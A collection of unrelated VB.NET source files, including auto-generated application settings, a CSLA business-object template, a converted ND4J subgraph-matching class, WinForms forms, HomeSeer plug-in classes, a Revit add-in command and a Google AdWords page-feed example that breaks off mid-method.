'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:4.0.30319.18444 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My 'NOTE: This file is auto-generated; do not modify it directly. To make changes, ' or if you encounter build errors in this file, go to the Project Designer ' (go to Project Properties or double-click the My Project node in ' Solution Explorer), and make changes on the Application tab. ' Partial Friend Class MyApplication <Global.System.Diagnostics.DebuggerStepThroughAttribute()> _ Public Sub New() MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) Me.IsSingleInstance = false Me.EnableVisualStyles = true Me.SaveMySettingsOnExit = true Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses End Sub <Global.System.Diagnostics.DebuggerStepThroughAttribute()> _ Protected Overrides Sub OnCreateMainForm() Me.MainForm = Global.StreamStatusNG.StatusUpdateGUIFrontend End Sub End Class End Namespace
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:4.0.30319.296 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My 'NOTE: This file is auto-generated; do not modify it directly. To make changes, ' or if you encounter build errors in this file, go to the Project Designer ' (go to Project Properties or double-click the My Project node in ' Solution Explorer), and make changes on the Application tab. ' Partial Friend Class MyApplication <Global.System.Diagnostics.DebuggerStepThroughAttribute()> _ Public Sub New() MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) Me.IsSingleInstance = false Me.EnableVisualStyles = true Me.SaveMySettingsOnExit = true Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses End Sub <Global.System.Diagnostics.DebuggerStepThroughAttribute()> _ Protected Overrides Sub OnCreateMainForm() Me.MainForm = Global.designertranslator.BuildTranslatorMainForm End Sub End Class End Namespace
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("GameOf21_Payroll_Prices")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("")> <Assembly: AssemblyProduct("GameOf21_Payroll_Prices")> <Assembly: AssemblyCopyright("Copyright © 2018")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("e2b0a123-3d94-465a-81cb-c85bc7a511e6")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")>
Imports System Imports Csla Imports Csla.Security <Serializable()> Public Class EditableRootParent Inherits BusinessBase(Of EditableRootParent) Public Shared ReadOnly IdProperty As PropertyInfo(Of Integer) = RegisterProperty(Of Integer)(NameOf(Id)) Public Property Id() As Integer Get Return GetProperty(IdProperty) End Get Set(ByVal value As Integer) SetProperty(IdProperty, value) End Set End Property Public Shared ReadOnly NameProperty As PropertyInfo(Of String) = RegisterProperty(Of String)(NameOf(Name)) Public Property Name() As String Get Return GetProperty(NameProperty) End Get Set(ByVal value As String) SetProperty(NameProperty, value) End Set End Property Public Shared ReadOnly ChildListProperty As PropertyInfo(Of EditableChildList) = RegisterProperty(Of EditableChildList)(NameOf(ChildList), "Child list") Public ReadOnly Property ChildList() As EditableChildList Get Return GetProperty(Of EditableChildList)(ChildListProperty) End Get End Property Public Shared ReadOnly ChildProperty As PropertyInfo(Of EditableChild) = RegisterProperty(Of EditableChild)(NameOf(Child), "Child") Public ReadOnly Property Child() As EditableChild Get Return GetProperty(Of EditableChild)(ChildProperty) End Get End Property Protected Overrides Sub AddBusinessRules() 'call base class implementation to add data annotation rules to BusinessRules MyBase.AddBusinessRules() ' TODO: add validation rules 'BusinessRules.AddRule(New MyRule, IdProperty) End Sub Public Shared Sub AddObjectAuthorizationRules() 'TODO: add authorization rules 'BusinessRules.AddRule(...) End Sub <Create> <RunLocal()> Private Sub Create() ' TODO: load default values ' omit this override if you have no defaults to set LoadProperty(ChildListProperty, DataPortal.CreateChild(Of EditableChildList)()) LoadProperty(ChildProperty, DataPortal.CreateChild(Of EditableChild)()) BusinessRules.CheckRules() End Sub <Fetch> Private Sub Fetch(ByVal id As Integer) ' TODO: load values LoadProperty(ChildListProperty, DataPortal.FetchChild(Of EditableChildList)(Nothing)) LoadProperty(ChildProperty, DataPortal.FetchChild(Of EditableChild)(Nothing)) End Sub <Insert> <Transactional(TransactionalTypes.TransactionScope)> Private Sub Insert() ' TODO: insert values FieldManager.UpdateChildren(Me) End Sub <Update> <Transactional(TransactionalTypes.TransactionScope)> Private Sub Update() ' TODO: update values FieldManager.UpdateChildren(Me) End Sub <DeleteSelf> <Transactional(TransactionalTypes.TransactionScope)> Private Sub DeleteSelf() Delete(Me.Id) End Sub <Delete> <Transactional(TransactionalTypes.TransactionScope)> Private Shadows Sub Delete(ByVal id As Integer) ' TODO: delete values FieldManager.UpdateChildren(Me) End Sub End Class
Imports System.Collections.Generic Imports NonNull = lombok.NonNull Imports DifferentialFunction = org.nd4j.autodiff.functions.DifferentialFunction Imports SDVariable = org.nd4j.autodiff.samediff.SDVariable Imports SameDiff = org.nd4j.autodiff.samediff.SameDiff Imports Preconditions = org.nd4j.common.base.Preconditions ' ' * ****************************************************************************** ' * * ' * * ' * * This program and the accompanying materials are made available under the ' * * terms of the Apache License, Version 2.0 which is available at ' * * https://www.apache.org/licenses/LICENSE-2.0. ' * * ' * * See the NOTICE file distributed with this work for additional ' * * information regarding copyright ownership. ' * * Unless required by applicable law or agreed to in writing, software ' * * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ' * * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the ' * * License for the specific language governing permissions and limitations ' * * under the License. ' * * ' * * SPDX-License-Identifier: Apache-2.0 ' * ***************************************************************************** ' Namespace org.nd4j.autodiff.samediff.transform Public Class SubGraphPredicate Inherits OpPredicate Protected Friend ReadOnly root As OpPredicate Protected Friend inputCount As Integer? = Nothing Protected Friend outputCount As Integer? = Nothing Protected Friend opInputMatchPredicates As IDictionary(Of Integer, OpPredicate) = New Dictionary(Of Integer, OpPredicate)() 'Must match - but these are NOT included in the resultant subgraph Protected Friend opInputSubgraphPredicates As IDictionary(Of Integer, OpPredicate) = New Dictionary(Of Integer, OpPredicate)() 'Must match - and thare ARE incrluded in the resultant subgraph Protected Friend Sub New(ByVal root As OpPredicate) Me.root = root End Sub ''' <summary> ''' Determine if the subgraph, starting with the root function, matches the predicate ''' </summary> ''' <param name="sameDiff"> SameDiff instance the function belongs to </param> ''' <param name="rootFn"> Function that defines the root of the subgraph </param> ''' <returns> True if the subgraph mathes the predicate </returns> Public Overrides Function matches(ByVal sameDiff As SameDiff, ByVal rootFn As DifferentialFunction) As Boolean If Not root.matches(sameDiff, rootFn) Then Return False End If Dim inputs() As SDVariable = rootFn.args() Dim inCount As Integer = If(inputs Is Nothing, 0, inputs.Length) If inputCount IsNot Nothing Then If inCount <> Me.inputCount Then Return False End If End If Dim outputs() As SDVariable = rootFn.outputVariables() Dim outCount As Integer = If(outputs Is Nothing, 0, outputs.Length) If outputCount IsNot Nothing Then If outCount <> outputCount Then Return False End If End If For Each m As IDictionary(Of Integer, OpPredicate) In java.util.Arrays.asList(opInputMatchPredicates, opInputSubgraphPredicates) For Each e As KeyValuePair(Of Integer, OpPredicate) In m.SetOfKeyValuePairs() Dim inNum As Integer = e.Key If inNum >= inCount Then Return False End If Dim [in] As SDVariable = inputs(inNum) Dim df As DifferentialFunction = sameDiff.getVariableOutputOp([in].name()) If df Is Nothing OrElse Not e.Value.matches(sameDiff, df) Then Return False End If Next e Next m Return True End Function ''' <summary> ''' Get the SubGraph that matches the predicate ''' </summary> ''' <param name="sd"> SameDiff instance the function belongs to </param> ''' <param name="rootFn"> Function that defines the root of the subgraph </param> ''' <returns> The subgraph that matches the predicate </returns> Public Overridable Function getSubGraph(ByVal sd As SameDiff, ByVal rootFn As DifferentialFunction) As SubGraph Preconditions.checkState(matches(sd, rootFn), "Root function does not match predicate") Dim childNodes As IList(Of DifferentialFunction) = New List(Of DifferentialFunction)() 'Need to work out child nodes If opInputSubgraphPredicates.Count > 0 Then For Each entry As KeyValuePair(Of Integer, OpPredicate) In opInputSubgraphPredicates.SetOfKeyValuePairs() Dim p2 As OpPredicate = entry.Value Dim arg As SDVariable = rootFn.arg(entry.Key) Dim df As DifferentialFunction = sd.getVariableOutputOp(arg.name()) If df IsNot Nothing Then childNodes.Add(df) If TypeOf p2 Is SubGraphPredicate Then Dim sg As SubGraph = DirectCast(p2, SubGraphPredicate).getSubGraph(sd, df) CType(childNodes, List(Of DifferentialFunction)).AddRange(sg.childNodes) End If End If Next entry End If Dim sg As SubGraph = SubGraph.builder().sameDiff(sd).rootNode(rootFn).childNodes(childNodes).build() Return sg End Function ''' <summary> ''' Create a SubGraphPredicate with the specified root predicate </summary> ''' <param name="root"> Predicate for matching the root </param> 'JAVA TO VB CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes: 'ORIGINAL LINE: public static SubGraphPredicate withRoot(@NonNull OpPredicate root) Public Shared Function withRoot(ByVal root As OpPredicate) As SubGraphPredicate Return New SubGraphPredicate(root) End Function ''' <summary> ''' Modify the current subgraph to match only if the function has the specified number of inputs </summary> ''' <param name="inputCount"> Match only if the function has the specified number of inputs </param> Public Overridable Function withInputCount(ByVal inputCount As Integer) As SubGraphPredicate Me.inputCount = inputCount Return Me End Function ''' <summary> ''' Modify the current subgraph to match only if the function has the specified number of outputs </summary> ''' <param name="outputCount"> Match only if the function has the specified number of outputs </param> Public Overridable Function withOutputCount(ByVal outputCount As Integer) As SubGraphPredicate Me.outputCount = outputCount Return Me End Function ''' <summary> ''' Require the subgraph to match the specified predicate for the specified input.<br> ''' Note that this does NOT add the specified input to part of the subgraph<br> ''' i.e., the subgraph matches if the input matches the predicate, but when returning the SubGraph itself, the ''' function for this input is not added to the SubGraph </summary> ''' <param name="inputNum"> Input number </param> ''' <param name="opPredicate"> Predicate that the input must match </param> ''' <returns> This predicate with the additional requirement added </returns> 'JAVA TO VB CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes: 'ORIGINAL LINE: public SubGraphPredicate withInputMatching(int inputNum, @NonNull OpPredicate opPredicate) 'JAVA TO VB CONVERTER NOTE: The parameter opPredicate was renamed since it may cause conflicts with calls to static members of the user-defined type with this name: Public Overridable Function withInputMatching(ByVal inputNum As Integer, ByVal opPredicate_Conflict As OpPredicate) As SubGraphPredicate opInputMatchPredicates(inputNum) = opPredicate_Conflict Return Me End Function ''' <summary> ''' Require the subgraph to match the specified predicate for the specified input.<br> ''' Note that this DOES add the specified input to part of the subgraph<br> ''' i.e., the subgraph matches if the input matches the predicate, and when returning the SubGraph itself, the ''' function for this input IS added to the SubGraph </summary> ''' <param name="inputNum"> Input number </param> ''' <param name="opPredicate"> Predicate that the input must match </param> ''' <returns> This predicate with the additional requirement added </returns> 'JAVA TO VB CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes: 'ORIGINAL LINE: public SubGraphPredicate withInputSubgraph(int inputNum, @NonNull OpPredicate opPredicate) 'JAVA TO VB CONVERTER NOTE: The parameter opPredicate was renamed since it may cause conflicts with calls to static members of the user-defined type with this name: Public Overridable Function withInputSubgraph(ByVal inputNum As Integer, ByVal opPredicate_Conflict As OpPredicate) As SubGraphPredicate opInputSubgraphPredicates(inputNum) = opPredicate_Conflict Return Me End Function End Class End Namespace
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class FrmAcerca Inherits System.Windows.Forms.Form 'Form reemplaza a Dispose para limpiar la lista de componentes. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Requerido por el Diseñador de Windows Forms Private components As System.ComponentModel.IContainer 'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento 'Se puede modificar usando el Diseñador de Windows Forms. 'No lo modifique con el editor de código. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.Label1 = New System.Windows.Forms.Label() Me.TextBox1 = New System.Windows.Forms.TextBox() Me.Label2 = New System.Windows.Forms.Label() Me.SuspendLayout() ' 'Label1 ' Me.Label1.Location = New System.Drawing.Point(207, 107) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(316, 24) Me.Label1.TabIndex = 0 Me.Label1.Text = "CRUD version 1.0.0" ' 'TextBox1 ' Me.TextBox1.BackColor = System.Drawing.SystemColors.ButtonHighlight Me.TextBox1.Location = New System.Drawing.Point(210, 165) Me.TextBox1.Multiline = True Me.TextBox1.Name = "TextBox1" Me.TextBox1.ReadOnly = True Me.TextBox1.Size = New System.Drawing.Size(313, 113) Me.TextBox1.TabIndex = 1 Me.TextBox1.Text = "Este programa esta protegido por las leyes internacionales ....." ' 'Label2 ' Me.Label2.Location = New System.Drawing.Point(207, 281) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(316, 24) Me.Label2.TabIndex = 2 Me.Label2.Text = "2019 Derechos reservados" ' 'FrmAcerca ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(800, 450) Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.TextBox1) Me.Controls.Add(Me.Label1) Me.Name = "FrmAcerca" Me.Text = "Form1" Me.ResumeLayout(False) Me.PerformLayout() End Sub Friend WithEvents Label1 As Label Friend WithEvents TextBox1 As TextBox Friend WithEvents Label2 As Label End Class
Public Class uclWinBox End Class
Module Classes ' ========================================================================== ' ========================================================================== ' ========================================================================== ' These class objects are used to hold plug-in specific information ' about its various triggers and actions. If there is no information ' needed other than the Trigger/Action number and/or the SubTrigger ' /SubAction number, then these are not needed as they are intended to ' store additional information beyond those selection values. The UID ' (Unique Trigger ID or Unique Action ID) can be used as the key to the ' storage of these class objects when the plug-in is running. When the ' plug-in is not running, the serialized copy of these classes is stored ' and restored by HomeSeer. ' ========================================================================== ' ========================================================================== ' ========================================================================== <Serializable()> _ Friend Class MyAction1EvenTon Private mvarUID As Integer Public Property ActionUID As Integer Get Return mvarUID End Get Set(value As Integer) mvarUID = value End Set End Property Private mvarConfigured As Boolean Public ReadOnly Property Configured As Boolean Get Return mvarConfigured End Get End Property <Serializable()> _ Friend Enum eSetTo Not_Set = 0 Rounded = 1 Unrounded = 2 End Enum Private mvarSet As eSetTo Public Property SetTo As eSetTo Set(value As eSetTo) mvarConfigured = True mvarSet = value End Set Get If Not mvarConfigured Then Return eSetTo.Not_Set Return mvarSet End Get End Property End Class <Serializable()> _ Friend Class MyAction2Euro Private mvarUID As Integer Public Property ActionUID As Integer Get Return mvarUID End Get Set(value As Integer) mvarUID = value End Set End Property Private mvarConfigured As Boolean Public ReadOnly Property Configured As Boolean Get Return mvarConfigured End Get End Property <Serializable()> _ Friend Enum eVAction Not_Set = 0 SetEuro = 1 SetNorthAmerica = 2 ResetAverage = 3 End Enum Private mvarSet As eVAction Public Property ThisAction As eVAction Set(value As eVAction) mvarConfigured = True mvarSet = value End Set Get If Not mvarConfigured Then Return eVAction.Not_Set Return mvarSet End Get End Property End Class <Serializable()> _ Friend Class MyTrigger1Ton Private mvarUID As Integer Public Property TriggerUID As Integer Get Return mvarUID End Get Set(value As Integer) mvarUID = value End Set End Property Private mvarTriggerWeight As Double Public Property TriggerWeight As Double Get Return mvarTriggerWeight End Get Set(value As Double) mvarTriggerWeight = value End Set End Property Private mvarCondition As Boolean Public Property Condition As Boolean Get Return mvarCondition End Get Set(value As Boolean) mvarCondition = value End Set End Property 'Private mvarWeight As Double 'Public Property Weight As Double ' Get ' Return mvarWeight ' End Get ' Set(value As Double) ' mvarWeight = value ' End Set 'End Property Private mvarEvenTon As Boolean Public Property EvenTon As Boolean Get Return mvarEvenTon End Get Set(value As Boolean) mvarEvenTon = value End Set End Property End Class <Serializable()> _ Friend Class MyTrigger2Shoe Private mvarSubTrig2 As Boolean = False Private mvarUID As Integer Public Property TriggerUID As Integer Get Return mvarUID End Get Set(value As Integer) mvarUID = value End Set End Property Public Property SubTrigger2 As Boolean Get Return mvarSubTrig2 End Get Set(value As Boolean) mvarSubTrig2 = value End Set End Property Private mvarCondition As Boolean Public Property Condition As Boolean Get Return mvarCondition End Get Set(value As Boolean) mvarCondition = value End Set End Property Private mvarTriggerValue As Double Public Property TriggerValue As Double Get Return mvarTriggerValue End Get Set(value As Double) mvarTriggerValue = value End Set End Property Private mvarVoltTypeEuro As Boolean Public Property EuroVoltage As Boolean Get Return mvarVoltTypeEuro End Get Set(value As Boolean) mvarVoltTypeEuro = value End Set End Property Public Property NorthAMVoltage As Boolean Get Return Not mvarVoltTypeEuro End Get Set(value As Boolean) mvarVoltTypeEuro = Not value End Set End Property End Class End Module
Imports Autodesk.Revit.Attributes Imports Autodesk.Revit.DB Imports Autodesk.Revit.UI Imports [Case].ViewTemplates.API Imports [Case].ViewTemplates.Data Namespace Entry <Transaction(TransactionMode.Manual)> Public Class CmdMain Implements IExternalCommand ''' <summary> ''' Command Entry Point ''' </summary> ''' <param name="commandData"></param> ''' <param name="message"></param> ''' <param name="elements"></param> ''' <returns></returns> ''' <remarks></remarks> Public Function Execute(ByVal commandData As ExternalCommandData, ByRef message As String, ByVal elements As ElementSet) As Result Implements IExternalCommand.Execute Try ' Version If Not commandData.Application.Application.VersionName.Contains("2016") Then ' Failure Using td As New TaskDialog("Cannot Continue") With td .TitleAutoPrefix = False .MainInstruction = "Incompatible Version of Revit" .MainContent = "This Add-In was built for Revit 2016, please contact CASE for assistance." .Show() End With End Using Return Result.Cancelled End If ' Settings Dim _s As New clsSettings(commandData, elements) Try RecordUsage() Catch End Try ' Construct and Display the Form Using d As New form_Main(New clsSettings(commandData, elements)) d.ShowDialog() End Using ' Success Return Result.Succeeded Catch ex As Exception ' Failure message = ex.Message Return Result.Failed End Try End Function End Class End Namespace
Imports System.Data.OleDb Public Class details Public Property email As String Dim conn As New OleDb.OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" & Application.StartupPath & "\denoo.accdb") Private Sub cmdlogin_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdlogin.Click Dim OJ As New homepage OJ.email = email OJ.Show() Me.Hide() End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Try conn.Open() Dim cmd As New OleDb.OleDbCommand("insert into details(`StaffID`,`FullName`,`Age`,`Gender`,`PhoneNumber`,`IDNumber`,`Status`,`EmailAddress`) values(@staffid, @fullname, @age, @gender, @phonenumber, @idnumber, @status, @emailaddress)", conn) Dim i As New Integer cmd.Parameters.Clear() cmd.Parameters.AddWithValue("@staffid", txtstaffid.Text) cmd.Parameters.AddWithValue("@fullname", txtfullname.Text) cmd.Parameters.AddWithValue("@age", txtage.Text) cmd.Parameters.AddWithValue("@gender", txtgender.Text) cmd.Parameters.AddWithValue("@phonenumber", txtphonenumber.Text) cmd.Parameters.AddWithValue("@idnumber", txtidnumber.Text) cmd.Parameters.AddWithValue("@status", txtstatus.Text) cmd.Parameters.AddWithValue("@emailaddress", email) i = cmd.ExecuteNonQuery If i > 0 Then MsgBox("Registration successful!", MsgBoxStyle.OkOnly, "Success") conn.Close() Dim OBJ As New homepage OBJ.email = email OBJ.Show() Me.Hide() Else MsgBox("Registration Error!", vbCritical) End If Catch ex As Exception MsgBox(ex.Message) End Try End Sub Private Sub details_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub End Class
' Copyright 2018 Google LLC ' ' Licensed under the Apache License, Version 2.0 (the "License") ' you may not use this file except in compliance with the License. ' You may obtain a copy of the License at ' ' http:'www.apache.org/licenses/LICENSE-2.0 ' ' Unless required by applicable law or agreed to in writing, software ' distributed under the License is distributed on an "AS IS" BASIS, ' WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ' See the License for the specific language governing permissions and ' limitations under the License. Imports Google.Api.Ads.AdWords.Lib Imports Google.Api.Ads.AdWords.v201809 Namespace Google.Api.Ads.AdWords.Examples.VB.v201809 ''' <summary> ''' This code example adds a page feed to specify precisely which URLs to use with your ''' Dynamic Search Ads campaign. To create a Dynamic Search Ads campaign, run ''' AddDynamicSearchAdsCampaign.vb. To get campaigns, run GetCampaigns.vb. ''' </summary> Public Class AddDynamicPageFeed Inherits ExampleBase ''' <summary> ''' The criterion type to be used for DSA page feeds. ''' </summary> ''' <remarks>DSA page feeds use criterionType field instead of the placeholderType field ''' unlike most other feed types.</remarks> Private Const DSA_PAGE_FEED_CRITERION_TYPE As Integer = 61 ''' <summary> ''' ID that corresponds to the page URLs. ''' </summary> Private Const DSA_PAGE_URLS_FIELD_ID As Integer = 1 ''' <summary> ''' ID that corresponds to the labels. ''' </summary> Private Const DSA_LABEL_FIELD_ID As Integer = 2 ''' <summary> ''' Class to keep track of DSA page feed details. ''' </summary> Private Class DSAFeedDetails Dim feedIdField As Long Dim urlAttributeIdField As Long Dim labelAttributeIdField As Long Public Property FeedId As Long Get Return feedIdField End Get Set(ByVal value As Long) feedIdField = value End Set End Property Public Property UrlAttributeId As Long Get Return urlAttributeIdField End Get Set(ByVal value As Long) urlAttributeIdField = value End Set End Property Public Property LabelAttributeId As Long Get Return labelAttributeIdField End Get Set(ByVal value As Long) labelAttributeIdField = value End Set End Property End Class ''' <summary> ''' Main method, to run this code example as a standalone application. ''' </summary> ''' <param name="args">The command line arguments.</param> Public Shared Sub Main(ByVal args As String()) Dim codeExample As New AddDynamicSearchAdsCampaign Console.WriteLine(codeExample.Description) Try codeExample.Run(New AdWordsUser) Catch e As Exception Console.WriteLine("An exception occurred while running this code example. {0}", ExampleUtilities.FormatException(e)) End Try End Sub ''' <summary> ''' Returns a description about the code example. ''' </summary> Public Overrides ReadOnly Property Description() As String Get Return _ "This code example adds a page feed to specify precisely which URLs to use " & "with your Dynamic Search Ads campaign. To create a Dynamic Search Ads " & "campaign, run AddDynamicSearchAdsCampaign.vb. To get campaigns, run " & "GetCampaigns.vb." End Get End Property ''' <summary> ''' Runs the code example. ''' </summary> ''' <param name="user">The AdWords user.</param> Public Sub Run(ByVal user As AdWordsUser, ByVal campaignId As Long, ByVal adgroupId As Long) Dim dsaPageUrlLabel As String = "discounts" Try ' Get the page feed details. This code example creates a new feed, but you can ' fetch and re-use an existing feed. Dim feedDetails As DSAFeedDetails = CreateFeed(user) CreateFeedMapping(user, feedDetails) CreateFeedItems(user, feedDetails, dsaPageUrlLabel) ' Associate the page feed with the campaign. UpdateCampaignDsaSetting(user, campaignId, feedDetails.FeedId) ' Optional: Target Web pages matching the feed's label in the ad group. AddDsaTargeting(user, adgroupId, dsaPageUrlLabel) Console.WriteLine("Dynamic page feed setup is complete for campaign ID '{0}'.", campaignId) Catch e As Exception Throw _ New System.ApplicationException( "Failed to setup dynamic page feed for campaign.", e) End Try End Sub ''' <summary> ''' Creates the feed for DSA page URLs. ''' </summary> ''' <param name="user">The AdWords User.</param> ''' <returns>The feed details.</returns> Private Function CreateFeed(ByVal user As AdWordsUser) As DSAFeedDetails Using feedService As FeedService = CType( user.GetService( AdWordsService.v201809.FeedService), FeedService) ' Create attributes. Dim urlAttribute As New FeedAttribute() urlAttribute.type = FeedAttributeType.URL_LIST urlAttribute.name = "Page URL" Dim labelAttribute As New FeedAttribute() labelAttribute.type = FeedAttributeType.STRING_LIST labelAttribute.name = "Label" ' Create the feed. Dim sitelinksFeed As New Feed() sitelinksFeed.name = "DSA Feed " + ExampleUtilities.GetRandomString() sitelinksFeed.attributes = New FeedAttribute() {urlAttribute, labelAttribute} sitelinksFeed.origin = FeedOrigin.USER ' Create operation. Dim operation As New FeedOperation() operation.operand = sitelinksFeed operation.operator = [Operator].ADD ' Add the feed. Dim result As FeedReturnValue = feedService.mutate(New FeedOperation() {operation}) Dim savedFeed As Feed = result.value(0) Dim retval As New DSAFeedDetails retval.FeedId = savedFeed.id retval.UrlAttributeId = savedFeed.attributes(0).id retval.LabelAttributeId = savedFeed.attributes(1).id Return retval End Using End Function ''' <summary> ''' Creates the feed mapping for DSA page feeds. ''' </summary> ''' <param name="user">The AdWords user.</param> ''' <param name="feedDetails">The feed details.</param> Private Sub CreateFeedMapping(ByVal user As AdWordsUser, ByVal feedDetails As DSAFeedDetails) Using feedMappingService As FeedMappingService = CType( user.GetService( AdWordsService.v201809.FeedMappingService), FeedMappingService) ' Map the FeedAttributeIds to the fieldId constants. Dim urlFieldMapping As New AttributeFieldMapping() urlFieldMapping.feedAttributeId = feedDetails.UrlAttributeId urlFieldMapping.fieldId = DSA_PAGE_URLS_FIELD_ID Dim labelFieldMapping As New AttributeFieldMapping() labelFieldMapping.feedAttributeId = feedDetails.LabelAttributeId labelFieldMapping.fieldId = DSA_LABEL_FIELD_ID ' Create the fieldMapping and operation. Dim feedMapping As New FeedMapping() feedMapping.criterionType = DSA_PAGE_FEED_CRITERION_TYPE feedMapping.feedId = feedDetails.FeedId feedMapping.attributeFieldMappings = New AttributeFieldMapping() { _ urlFieldMapping, labelFieldMapping } Dim operation As New FeedMappingOperation() operation.operand = feedMapping operation.operator = [Operator].ADD ' Add the field mapping. feedMappingService.mutate(New FeedMappingOperation() {operation}) End Using End Sub ''' <summary> ''' Creates the page URLs in the DSA page feed. ''' </summary> ''' <param name="user">The AdWords user.</param> ''' <param name="feedDetails">The feed details.</param> ''' <param name="labelName">The pagefeed url label.</param> Private Sub CreateFeedItems(ByVal user As AdWordsUser, ByVal feedDetails As DSAFeedDetails, ByVal labelName As String) Using feedItemService As FeedItemService = CType( user.GetService( AdWordsService.v201809.FeedItemService), FeedItemService) Dim rentalCarsUrl As String = "http://www.example.com/discounts/rental-cars" Dim hotelDealsUrl As String = "http://www.example.com/discounts/hotel-deals" Dim flightDealsUrl As String = "http://www.example.com/discounts/flight-deals" Dim operations() As FeedItemOperation = { _ CreateDsaUrlAddOperation(feedDetails, rentalCarsUrl, labelName), CreateDsaUrlAddOperation(feedDetails, hotelDealsUrl, labelName), CreateDsaUrlAddOperation(feedDetails, flightDealsUrl, labelName) } feedItemService.mutate(operations) End Using End Sub ''' <summary> ''' Creates the DSA URL add operation. ''' </summary> ''' <param name="feedDetails">The page feed details.</param> ''' <param name="url">The DSA page feed URL.</param> ''' <param name="label">DSA page feed label.</param> ''' <returns>The DSA URL add operation.</returns> Private Function CreateDsaUrlAddOperation(ByVal feedDetails As DSAFeedDetails, ByVal url As String, ByVal label As String) _ As FeedItemOperation ' Create the FeedItemAttributeValues for our text values. Dim urlAttributeValue As New FeedItemAttributeValue() urlAttributeValue.feedAttributeId = feedDetails.UrlAttributeId ' See https://support.google.com/adwords/answer/7166527 for page feed URL ' recommendations and rules. urlAttributeValue.stringValues = New String() {url} Dim labelAttributeValue As New FeedItemAttributeValue() labelAttributeValue.feedAttributeId = feedDetails.LabelAttributeId labelAttributeValue.stringValues = New String() {label} ' Create the feed item and operation. Dim item As New FeedItem() item.feedId = feedDetails.FeedId item.attributeValues = New FeedItemAttributeValue() { _ urlAttributeValue, labelAttributeValue } Dim operation As New FeedItemOperation() operation.operand = item operation.operator = [Operator].ADD Return operation End Function ''' <summary> ''' Updates the campaign DSA setting to add DSA pagefeeds. ''' </summary> ''' <param name="user">The AdWords user.</param> ''' <param name="campaignId">The Campaign ID.</param> ''' <param name="feedId">The page feed ID.</param> Private Sub UpdateCampaignDsaSetting(ByVal user As AdWordsUser, ByVal campaignId As Long, ByVal feedId As Long) Using campaignService As CampaignService = CType( user.GetService( AdWordsService.v201809.CampaignService), CampaignService) Dim selector As New Selector() selector.fields = New String() {Campaign.Fields.Id, Campaign.Fields.Settings} selector.predicates = New Predicate() { _ Predicate.Equals(Campaign.Fields.Id, campaignId) } selector.paging = Paging.Default Dim page As CampaignPage = campaignService.get(selector) If page Is Nothing Or page.entries Is Nothing Or page.entries.Length = 0 Then Throw New System.ApplicationException( String.Format( "Failed to retrieve campaign with ID = {0}.", campaignId)) End If Dim selectedCampaign As Campaign = page.entries(0) If selectedCampaign.settings Is Nothing Then Throw New System.ApplicationException("This is not a DSA campaign.") End If Dim dsaSetting As DynamicSearchAdsSetting = Nothing Dim campaignSettings() As Setting = selectedCampaign.settings For i As Integer = 0 To selectedCampaign.settings.Length - 1 Dim setting As Setting = campaignSettings(i) If TypeOf setting Is DynamicSearchAdsSetting Then dsaSetting = CType(setting, DynamicSearchAdsSetting) Exit For End If Next If dsaSetting Is Nothing Then Throw New System.ApplicationException("This is not a DSA campaign.") End If ' Use a page feed to specify precisely which URLs to use with your ' Dynamic Search Ads. dsaSetting.pageFeed = New PageFeed() dsaSetting.pageFeed.feedIds = New Long() { _ feedId } ' Optional: Specify whether only the supplied URLs should be used with your ' Dynamic Search Ads. dsaSetting.useSuppliedUrlsOnly = True Dim campaignToUpdate As New Campaign() campaignToUpdate.id = campaignId campaignToUpdate.settings = campaignSettings Dim operation As New CampaignOperation() operation.operand = campaignToUpdate operation.operator = [Operator].SET Try Dim retval As CampaignReturnValue = campaignService.mutate( New CampaignOperation() {operation}) 